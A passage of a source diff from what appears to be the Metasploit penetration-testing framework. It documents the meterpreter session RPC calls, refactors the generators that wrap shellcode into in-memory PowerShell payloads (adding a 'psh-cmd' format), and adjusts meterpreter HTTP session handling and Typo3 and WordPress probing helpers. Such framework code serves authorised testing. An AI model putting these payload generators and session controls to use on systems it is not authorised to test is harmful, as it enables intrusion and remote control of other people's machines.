# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.meterpreter_session_detach', 3)
|
||||
def rpc_meterpreter_session_detach(sid)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
s.channels.each_value do |ch|
|
||||
|
@ -156,6 +313,18 @@ class RPC_Session < RPC_Base
|
|||
{ "result" => "failure" }
|
||||
end
|
||||
|
||||
|
||||
# Kills a meterpreter session. Serves the same purpose as [CTRL]+[C].
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] A hash indicating the action was successful or not.
|
||||
# It contains the following key:
|
||||
# * 'result' [String] Either 'success' or 'failure'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.meterpreter_session_kill', 3)
|
||||
def rpc_meterpreter_session_kill(sid)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
s.channels.each_value do |ch|
|
||||
|
@ -167,12 +336,38 @@ class RPC_Session < RPC_Base
|
|||
{ "result" => "failure" }
|
||||
end
|
||||
|
||||
|
||||
# Returns a tab-completed version of your meterpreter prompt input.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] line Input.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] The tab-completed result. It contains the following key:
|
||||
# * 'tabs' [String] The tab-completed version of your input.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This returns:
|
||||
# # {"tabs"=>["sysinfo"]}
|
||||
# rpc.call('session.meterpreter_tabs', 3, 'sysin')
|
||||
def rpc_meterpreter_tabs(sid, line)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
{ "tabs" => s.console.tab_complete(line) }
|
||||
end
|
||||
|
||||
# runs a meterpreter command even if interacting with a shell or other channel
|
||||
|
||||
# Runs a meterpreter command even if interacting with a shell or other channel.
|
||||
# You will want to use the #rpc_meterpreter_read to retrieve the output.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] data Command.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.meterpreter_run_single', 3, 'getpid')
|
||||
def rpc_meterpreter_run_single( sid, data)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
|
||||
|
@ -184,16 +379,49 @@ class RPC_Session < RPC_Base
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Runs a meterpreter script.
|
||||
#
|
||||
# @deprecated Metasploit no longer maintains or accepts meterpreter scripts. Please try to use
|
||||
# post modules instead.
|
||||
# @see Msf::RPC::RPC_Module#rpc_execute You should use Msf::RPC::RPC_Module#rpc_execute instead.
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] data Meterpreter script name.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.meterpreter_script', 3, 'checkvm')
|
||||
def rpc_meterpreter_script( sid, data)
|
||||
rpc_meterpreter_run_single( sid, "run #{data}")
|
||||
end
|
||||
|
||||
|
||||
# Returns the separator used by the meterpreter.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] A hash that contains the separator. It contains the following key:
|
||||
# * 'separator' [String] The separator used by the meterpreter.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This returns:
|
||||
# # {"separator"=>"\\"}
|
||||
# rpc.call('session.meterpreter_directory_separator', 3)
|
||||
def rpc_meterpreter_directory_separator(sid)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
|
||||
{ "separator" => s.fs.file.separator }
|
||||
end
|
||||
|
||||
|
||||
# Returns all the compatible post modules for this session.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @return [Hash] Post modules. It contains the following key:
|
||||
# * 'modules' [Array<string>] An array of post module names. Example: ['post/windows/wlan/wlan_profile']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.compatible_modules', 3)
|
||||
def rpc_compatible_modules( sid)
|
||||
ret = []
|
||||
|
||||
|
|
|
@ -32,10 +32,10 @@ module Msf::HTTP::Typo3::Login
|
|||
end
|
||||
n = n_match[1]
|
||||
|
||||
vprint_debug("e: #{e}")
|
||||
vprint_debug("n: #{n}")
|
||||
vprint_status("e: #{e}")
|
||||
vprint_status("n: #{n}")
|
||||
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
||||
vprint_debug("RSA Hash: #{rsa_enc}")
|
||||
vprint_status("RSA Hash: #{rsa_enc}")
|
||||
# make login request
|
||||
vars_post = {
|
||||
'n' => '',
|
||||
|
@ -58,10 +58,10 @@ module Msf::HTTP::Typo3::Login
|
|||
})
|
||||
if res_login
|
||||
if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im
|
||||
vprint_debug(strip_tags($1))
|
||||
vprint_status(strip_tags($1))
|
||||
return nil
|
||||
elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im
|
||||
vprint_debug(strip_tags($1))
|
||||
vprint_status(strip_tags($1))
|
||||
return nil
|
||||
else
|
||||
cookies = res_login.get_cookies
|
||||
|
|
|
@ -107,18 +107,17 @@ module Msf::HTTP::Wordpress::Version
|
|||
fail("Unknown readme type #{type}")
|
||||
end
|
||||
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
|
||||
readmes = ['readme.txt', 'Readme.txt', 'README.txt']
|
||||
|
||||
res = nil
|
||||
readmes.each do |readme_name|
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, readme_name)
|
||||
vprint_status("#{peer} - Checking #{readme_url}")
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
break if res && res.code == 200
|
||||
end
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
|
|
|
@ -41,8 +41,7 @@ module Msf
|
|||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @param name [String] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_get_object_instance_args(name = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
@ -97,8 +96,7 @@ module Msf
|
|||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @param name [Hash] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_create_mbean_args(name = '')
|
||||
arguments = [
|
||||
|
|
|
@ -22,7 +22,6 @@ module Msf
|
|||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||
#
|
||||
# @param methods [Array] set of method names and their descriptors
|
||||
# @param exceptions [Array] set of declared exceptions
|
||||
# @return [Fixnum] The interface hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||
def calculate_interface_hash(methods)
|
||||
|
|
|
@ -2323,7 +2323,7 @@ class Core
|
|||
# Walk the plugins array
|
||||
framework.plugins.each { |plugin|
|
||||
# Unload the plugin if it matches the name we're searching for
|
||||
if (plugin.name == args[0])
|
||||
if (plugin.name.downcase == args[0].downcase)
|
||||
print("Unloading plugin #{args[0]}...")
|
||||
framework.plugins.unload(plugin)
|
||||
print_line("unloaded.")
|
||||
|
|
|
@ -15,6 +15,7 @@ require 'rex/peparsey'
|
|||
require 'rex/pescan'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/zip'
|
||||
require 'rex/powershell'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
@ -1080,36 +1081,17 @@ require 'msf/core/exe/segment_appender'
|
|||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(framework, code, opts = {})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1118,31 +1100,31 @@ require 'msf/core/exe/segment_appender'
|
|||
# Originally from PowerSploit
|
||||
#
|
||||
def self.to_win32pe_psh_reflection(framework, code, opts = {})
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:func_get_proc_address)
|
||||
rig.init_var(:func_get_delegate_type)
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_module)
|
||||
rig.init_var(:var_procedure)
|
||||
rig.init_var(:var_unsafe_native_methods)
|
||||
rig.init_var(:var_parameters)
|
||||
rig.init_var(:var_return_type)
|
||||
rig.init_var(:var_type_builder)
|
||||
rig.init_var(:var_buffer)
|
||||
rig.init_var(:var_hthread)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
|
||||
end
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template("to_mem_pshreflection.ps1.template",
|
||||
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
def self.to_powershell_command(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
encode_final_payload: true,
|
||||
method: 'reflection')
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts = {})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_vbs(framework, code, opts = {})
|
||||
to_exe_vbs(to_win64pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
# Creates a jar file that drops the provided +exe+ into a random file name
|
||||
# in the system's temp dir and executes it.
|
||||
#
|
||||
|
@ -1944,6 +1926,8 @@ require 'msf/core/exe/segment_appender'
|
|||
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
|
||||
when 'psh-reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
|
||||
when 'psh-cmd'
|
||||
Msf::Util::EXE.to_powershell_command(framework, arch, code)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1967,6 +1951,7 @@ require 'msf/core/exe/segment_appender'
|
|||
"psh",
|
||||
"psh-net",
|
||||
"psh-reflection",
|
||||
"psh-cmd",
|
||||
"vba",
|
||||
"vba-exe",
|
||||
"vbs",
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# -*- coding: binary -*-
|
||||
module Net # :nodoc:
|
||||
module DNS
|
||||
|
||||
module DNS
|
||||
|
||||
class RR
|
||||
|
||||
|
||||
#
|
||||
# This is an auxiliary class to hadle RR class field in a DNS packet.
|
||||
# This is an auxiliary class to hadle RR class field in a DNS packet.
|
||||
#
|
||||
class Classes
|
||||
|
||||
# An hash with the values of each RR class stored with the
|
||||
|
||||
# An hash with the values of each RR class stored with the
|
||||
# respective id number
|
||||
Classes = {
|
||||
'IN' => 1, # RFC 1035
|
||||
|
@ -18,7 +18,7 @@ module Net # :nodoc:
|
|||
'NONE' => 254, # RFC 2136
|
||||
'ANY' => 255, # RFC 1035
|
||||
}
|
||||
|
||||
|
||||
# The default value when class is nil in Resource Records
|
||||
@@default = Classes["IN"]
|
||||
|
||||
|
@ -32,7 +32,7 @@ module Net # :nodoc:
|
|||
end
|
||||
end
|
||||
|
||||
# Checks whether +cls+ is a valid RR class.
|
||||
# Checks whether +cls+ is a valid RR class.
|
||||
def self.valid?(cls)
|
||||
case cls
|
||||
when String
|
||||
|
@ -43,7 +43,7 @@ module Net # :nodoc:
|
|||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the class in string format, as "IN" or "CH",
|
||||
# given the numeric value
|
||||
def self.to_str(cls)
|
||||
|
@ -72,13 +72,13 @@ module Net # :nodoc:
|
|||
case cls
|
||||
when String
|
||||
# type in the form "A" or "NS"
|
||||
new_from_string(cls.upcase)
|
||||
new_from_string(cls.upcase)
|
||||
when Fixnum
|
||||
# type in numeric form
|
||||
new_from_num(cls)
|
||||
new_from_num(cls)
|
||||
when nil
|
||||
# default type, control with Classes.default=
|
||||
@str = Classes.invert[@@default]
|
||||
@str = Classes.invert[@@default]
|
||||
@num = @@default
|
||||
else
|
||||
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
|
||||
|
@ -91,7 +91,7 @@ module Net # :nodoc:
|
|||
case cls
|
||||
when /^CLASS\\d+/
|
||||
# TODO!!!
|
||||
else
|
||||
else
|
||||
# String with name of class
|
||||
if Classes.has_key? cls
|
||||
@str = cls
|
||||
|
@ -109,11 +109,11 @@ module Net # :nodoc:
|
|||
@num = cls
|
||||
@str = Classes.invert[cls]
|
||||
else
|
||||
raise ClassesArgumentError, "Unkown cls number #{cls}"
|
||||
raise ClassesArgumentError, "Unknown cls number #{cls}"
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the class in number format
|
||||
|
||||
# Returns the class in number format
|
||||
# (default for normal use)
|
||||
def inspect
|
||||
@num
|
||||
|
@ -124,7 +124,7 @@ module Net # :nodoc:
|
|||
def to_s
|
||||
@str
|
||||
end
|
||||
|
||||
|
||||
# Returns the class in numeric format,
|
||||
# usable by the pack methods for data transfers
|
||||
def to_i
|
||||
|
@ -140,7 +140,7 @@ module Net # :nodoc:
|
|||
private :new_from_num, :new_from_string
|
||||
|
||||
end # class Classes
|
||||
|
||||
|
||||
end # class RR
|
||||
end # module DNS
|
||||
end # module Net
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
# -*- coding: binary -*-
|
||||
module Net # :nodoc:
|
||||
module DNS
|
||||
|
||||
|
||||
class RR
|
||||
|
||||
|
||||
#
|
||||
# This is an auxiliary class to hadle RR type field in a DNS packet.
|
||||
# This is an auxiliary class to hadle RR type field in a DNS packet.
|
||||
#
|
||||
class Types
|
||||
|
||||
|
||||
# :nodoc:
|
||||
Types = { # :nodoc:
|
||||
'SIGZERO' => 0, # RFC2931 consider this a pseudo type
|
||||
|
@ -85,7 +85,7 @@ module Net # :nodoc:
|
|||
end
|
||||
end
|
||||
|
||||
# Checks whether +type+ is a valid RR type.
|
||||
# Checks whether +type+ is a valid RR type.
|
||||
def self.valid?(type)
|
||||
case type
|
||||
when String
|
||||
|
@ -96,7 +96,7 @@ module Net # :nodoc:
|
|||
raise TypeArgumentError, "Wrong type class: #{type.class}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the type in string format, as "A" or "NS",
|
||||
# given the numeric value
|
||||
def self.to_str(type)
|
||||
|
@ -125,20 +125,20 @@ module Net # :nodoc:
|
|||
case type
|
||||
when String
|
||||
# type in the form "A" or "NS"
|
||||
new_from_string(type.upcase)
|
||||
new_from_string(type.upcase)
|
||||
when Fixnum
|
||||
# type in numeric form
|
||||
new_from_num(type)
|
||||
new_from_num(type)
|
||||
when nil
|
||||
# default type, control with Types.default=
|
||||
@str = Types.invert[@@default]
|
||||
@str = Types.invert[@@default]
|
||||
@num = @@default
|
||||
else
|
||||
raise TypeArgumentError, "Wrong type class: #{type.class}"
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the type in number format
|
||||
|
||||
# Returns the type in number format
|
||||
# (default for normal use)
|
||||
def inspect
|
||||
@num
|
||||
|
@ -155,21 +155,21 @@ module Net # :nodoc:
|
|||
def to_i
|
||||
@num.to_i
|
||||
end
|
||||
|
||||
|
||||
# Should be used only for testing purpouses
|
||||
def to_str
|
||||
@num.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
|
||||
# Constructor for string data type,
|
||||
# *PRIVATE* method
|
||||
def new_from_string(type)
|
||||
case type
|
||||
when /^TYPE\\d+/
|
||||
# TODO!!!
|
||||
else
|
||||
else
|
||||
# String with name of type
|
||||
if Types.has_key? type
|
||||
@str = type
|
||||
|
@ -187,12 +187,12 @@ module Net # :nodoc:
|
|||
@num = type
|
||||
@str = Types.invert[type]
|
||||
else
|
||||
raise TypeArgumentError, "Unkown type number #{type}"
|
||||
raise TypeArgumentError, "Unknown type number #{type}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end # class Types
|
||||
|
||||
|
||||
end # class RR
|
||||
end # module DNS
|
||||
end # module Net
|
||||
|
|
|
@ -42,6 +42,7 @@ end
|
|||
require 'rex/constants'
|
||||
require 'rex/exceptions'
|
||||
require 'rex/transformer'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/text'
|
||||
require 'rex/time'
|
||||
require 'rex/job_container'
|
||||
|
|
|
@ -1,62 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/powershell/output'
|
||||
require 'rex/exploitation/powershell/parser'
|
||||
require 'rex/exploitation/powershell/obfu'
|
||||
require 'rex/exploitation/powershell/param'
|
||||
require 'rex/exploitation/powershell/function'
|
||||
require 'rex/exploitation/powershell/script'
|
||||
require 'rex/exploitation/powershell/psh_methods'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,183 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
end
|
|
@ -87,10 +87,6 @@ class BidirectionalPipe < Rex::Ui::Text::Input
|
|||
print_line('[+] ' + msg)
|
||||
end
|
||||
|
||||
def print_debug(msg='')
|
||||
print_line('[!] ' + msg)
|
||||
end
|
||||
|
||||
def flush
|
||||
end
|
||||
|
||||
|
|
|
@ -277,6 +277,8 @@ module Rex
|
|||
port_hash[:state] = determine_port_state(v)
|
||||
when "name"
|
||||
port_hash[:name] = v
|
||||
when "tunnel"
|
||||
port_hash[:name] = "#{v}/#{port_hash[:name] || 'unknown'}"
|
||||
when "reason"
|
||||
port_hash[:reason] = v
|
||||
when "product"
|
||||
|
|
|
@ -10,18 +10,20 @@ module Rex
|
|||
# Define 8-bit checksums for matching URLs
|
||||
# These are based on charset frequency
|
||||
#
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98 # Existing session
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98 # Existing session
|
||||
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
|
||||
|
||||
# Mapping between checksums and modes
|
||||
URI_CHECKSUM_MODES = Hash[
|
||||
URI_CHECKSUM_INITN, :init_native,
|
||||
URI_CHECKSUM_INITP, :init_python,
|
||||
URI_CHECKSUM_INITJ, :init_java,
|
||||
URI_CHECKSUM_CONN, :connect
|
||||
URI_CHECKSUM_INITN, :init_native,
|
||||
URI_CHECKSUM_INITP, :init_python,
|
||||
URI_CHECKSUM_INITJ, :init_java,
|
||||
URI_CHECKSUM_INIT_CONN, :init_connect,
|
||||
URI_CHECKSUM_CONN, :connect
|
||||
]
|
||||
|
||||
URI_CHECKSUM_MIN_LEN = 5
|
||||
|
|
|
@ -163,7 +163,11 @@ class RegistryKey
|
|||
# Returns the path to the key.
|
||||
#
|
||||
def to_s
|
||||
return self.root_key.to_s + "\\" + self.base_key
|
||||
if self.base_key.nil?
|
||||
self.root_key.to_s + "\\"
|
||||
else
|
||||
self.root_key.to_s + "\\" + self.base_key
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -79,7 +79,12 @@ module PacketDispatcher
|
|||
|
||||
def shutdown_passive_dispatcher
|
||||
return if not self.passive_service
|
||||
self.passive_service.remove_resource("/" + self.conn_id + "/")
|
||||
self.passive_service.remove_resource(self.conn_id + "/")
|
||||
|
||||
# If there are no more resources registered on the service, stop it entirely
|
||||
if self.passive_service.resources.empty?
|
||||
Rex::ServiceManager.stop_service(self.passive_service)
|
||||
end
|
||||
|
||||
self.alive = false
|
||||
self.send_queue = []
|
||||
|
|
|
@ -641,11 +641,11 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
when "deletekey"
|
||||
open_key = nil
|
||||
if not rem
|
||||
